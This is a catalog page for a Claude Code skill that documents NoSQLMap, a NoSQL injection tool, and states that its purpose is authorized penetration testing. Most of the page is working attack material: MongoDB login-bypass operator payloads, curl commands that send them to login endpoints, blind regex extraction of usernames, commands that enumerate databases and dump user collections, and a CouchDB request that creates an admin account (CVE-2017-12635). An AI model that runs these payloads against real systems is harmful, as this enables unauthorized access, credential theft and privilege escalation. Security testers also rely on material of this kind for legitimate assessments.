
Nosqlmap
- 1 installs
- 12 repo stars
- Updated August 4, 2026
- aeondave/malskill
nosqlmap is a Claude Code reference skill for NoSQLMap, an automated NoSQL injection detection and exploitation tool targeting MongoDB, CouchDB, and other NoSQL databases.
About
nosqlmap is a Claude Code reference skill for NoSQLMap, an automated NoSQL injection detection and exploitation tool targeting MongoDB, CouchDB, and other NoSQL databases. It documents the interactive menu, web app and direct-DB attack modes, CLI flags, and MongoDB auth-bypass payloads. Pentesters use it to test web apps and NoSQL databases for injection during authorized assessments.
- Reference for NoSQLMap automated NoSQL injection against MongoDB and CouchDB
- Documents auth-bypass payloads ($ne, $gt, $regex, $where) and menu options
- Includes anonymous-MongoDB scanning and manual curl payloads
Nosqlmap by the numbers
- 1 all-time installs (skills.sh)
- Ranked #1,835 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
nosqlmap capabilities & compatibility
Free open-source tool (GPL-2.0); requires Python 3.
- Capabilities
- nosql injection · mongodb testing · auth bypass
- Use cases
- security audit · database
- Platforms
- Linux · macOS · Windows
- Pricing
- Free
What nosqlmap says it does
Automated NoSQL injection and exploitation — MongoDB, CouchDB, server-side JS injection.
4 - Scan for Anonymous MongoDB Access
npx skills add https://github.com/aeondave/malskill --skill nosqlmapAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 1 |
|---|---|
| repo stars | ★ 12 |
| Last updated | August 4, 2026 |
| Repository | aeondave/malskill ↗ |
What it does
Test a web app or MongoDB instance for NoSQL injection and auth bypass during an authorized assessment.
Who is it for?
Testing web apps and NoSQL databases for injection and auth bypass under authorization.
Skip if: Relational SQL injection or unauthorized targets.
When should I use this skill?
You are assessing a MongoDB/CouchDB-backed app for injection or exposed database access.
By the numbers
- 5 injection techniques tabled
- MongoDB default port 27017
Files
NoSQLMap
Automated NoSQL injection and exploitation — MongoDB, CouchDB, server-side JS injection.
Quick Start
git clone https://github.com/codingo/NoSQLMap
cd NoSQLMap && python3 setup.py install
# Launch interactive menu
python3 nosqlmap.py
# Or direct web app attack
python3 nosqlmap.py --attack 3Interactive Menu
Main Menu:
1 - Set options (target, port, URI)
2 - NoSQL DB Access Attacks # Direct DB connection exploits
3 - NoSQL Web App Attacks # HTTP injection via web app
4 - Scan for Anonymous MongoDB Access
x - ExitWeb App Attack Setup (Option 3)
Set options first:
1 - Set target host: target.com
2 - Set web app port: 443
3 - Set URI: /api/login
4 - Set HTTP method: POST
5 - Set POST data: {"username":"admin","password":"test"}
6 - Set parameter to attack: password
Then run:
3 - Assess NoSQL injections # Test all injection types
4 - MongoDB injection # Focused MongoDB testInjection Techniques
| Technique | Payload | Effect |
|---|---|---|
| Auth Bypass | {"$ne": "invalid"} | Matches anything != value |
| Auth Bypass | {"$gt": ""} | Matches anything > empty |
| Regex | {"$regex": ".*"} | Matches all via regex |
| Where | {"$where": "1==1"} | Server-side JS eval |
| Array | ["admin", "user"] | Array injection |
Raw Manual Payloads
# JSON body — auth bypass
curl -s -X POST https://target.com/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$ne": "wrongpass"}}'
# URL parameter — array injection
curl "https://target.com/api?user[$ne]=invalid"
# PHP-style param array
curl "https://target.com/api?user[$regex]=.*&password[$ne]=invalid"Direct MongoDB Access Attacks (Option 2)
Requires network access to MongoDB port (27017):
# Anonymous access scan (no creds required)
python3 nosqlmap.py --attack 4 --rhost 10.0.0.1
# Enumerate databases on open MongoDB
mongo --host target.com --port 27017
> show dbs
> use admin
> show collections
> db.users.find()NoSQLMap Flags (Direct Mode)
| Flag | Purpose |
|---|---|
--attack <n> | Attack mode: 2=DB access, 3=web app, 4=anon scan |
--rhost <host> | Target host |
--rport <port> | Target port (default: 27017 for MongoDB) |
--webPort <port> | Web app port (default: 80) |
--uri <path> | Web URI path |
--httpMethod <m> | GET or POST |
--postData <data> | POST body |
--injectedParam <p> | Parameter to inject |
--verbose | Verbose output |
MongoDB Auth Bypass Cheat Sheet
// Login forms — try these as password values:
{"$ne": null}
{"$ne": "x"}
{"$gt": ""}
{"$gte": ""}
{"$regex": ".*"}
{"$where": "1==1"}
// Username + password bypass combo:
// username: admin, password: {"$ne": "x"}
// username: {"$regex": "admin.*"}, password: {"$ne": "x"}References
- NoSQLMap GitHub
- NoSQL injection payloads:
references/nosql-payloads.md - HackTricks NoSQL Injection
NoSQL Injection Payloads
MongoDB Operator Injection
// Authentication bypass — password field
{"$ne": null}
{"$ne": "invalidvalue"}
{"$gt": ""}
{"$gte": ""}
{"$lt": "zzzzz"}
{"$regex": ".*"}
{"$in": ["admin", "user", "root"]}
// Server-side JS (requires $where enabled)
{"$where": "1==1"}
{"$where": "this.password.length > 0"}
{"$where": "function() { return true; }"}URL Parameter Injection
# PHP-style array → MongoDB operator
GET /api?user[$ne]=invalid&pass[$ne]=invalid
# JSON body with operator
POST /api/login
{"username": {"$regex": "admin.*"}, "password": {"$ne": "x"}}
# Nested operator
{"user": {"$or": [{"name": "admin"}, {"name": "root"}]}}Payloads by Attack Goal
Auth Bypass
# Most common
username=admin&password[$ne]=wrongpassword
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$gt]=
username[$regex]=.*&password[$regex]=.*Data Extraction (Blind Boolean)
# Extract username character by character
# Iterate a-z0-9 until response changes
{"username": {"$regex": "^a"}} # Does username start with 'a'?
{"username": {"$regex": "^ad"}} # Does username start with 'ad'?
{"username": {"$regex": "^adm"}} # ...MongoDB Shell Injection (Direct)
// If MongoDB shell is directly accessible
db.users.find({username: {$ne: null}})
db.users.find({password: {$regex: ".*"}})
db.system.users.find() // List all users
db.adminCommand({listDatabases: 1})CouchDB Injection
# Unauthenticated access
http://target.com:5984/_all_dbs
http://target.com:5984/DATABASE/_all_docs
# Admin creation (CVE-2017-12635)
PUT http://target.com:5984/_users/org.couchdb.user:attacker
{"name":"attacker","password":"password","roles":["_admin"],"type":"user"}Filters for nosqlmap
In NoSQLMap interactive mode, useful parameter names to try:
username,user,email,loginpassword,pass,pwd,passwdid,_id,userIdtoken,session,auth
Related skills
FAQ
Which databases does it target?
MongoDB, CouchDB, and other NoSQL databases, including server-side JS injection.
Can it find open MongoDB instances?
Yes, attack mode 4 scans for anonymous MongoDB access on port 27017.